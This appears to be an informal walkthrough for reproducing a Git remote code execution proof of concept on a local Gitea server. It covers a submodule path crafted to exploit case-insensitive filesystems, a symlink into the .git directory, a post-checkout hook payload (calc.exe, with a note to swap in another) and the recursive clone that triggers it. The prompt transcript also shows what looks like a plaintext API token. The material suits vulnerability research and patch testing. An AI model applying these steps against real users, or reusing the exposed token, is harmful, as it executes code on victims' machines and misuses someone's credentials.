we follow this blog post but with some key differences https://amalmurali.me/posts/git-rce
- A malicious repository (
git_rce
) includes a submodule with a specially crafted path. - The submodule path uses a case variation that exploits the case-insensitive filesystem.
- The submodule includes a symlink pointing to its
.git/
directory, which contains a malicious hook. - When the repository is cloned, the symlink is followed, and the malicious hook is executed, leading to RCE.
we need to make an api token for gitea this can be found at http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications
i gave the token access to everything in order to make sure everything worked
then we can run our poc.sh making sure to provide it with the prompted information such as the ip address and port for the gitea server the username and token for making the repositories
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
also we need to edit lines 42-46 to contain the payload
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
there is one more step we must go to the .gitmodules
from the main
to the hook
repository i manually went to the repo in git tea and changed the file
and then this did this
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
making sure that when i went to A/modules i could see something like this
then clicking that commit should show the other repo with the POC stuff in it when you click it
then we can take our url and this should work to trigger the exploit
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
Credit to filip-hejsek and amalmurali47 for discovering this vulnerability and having a blog post and repository to adapt from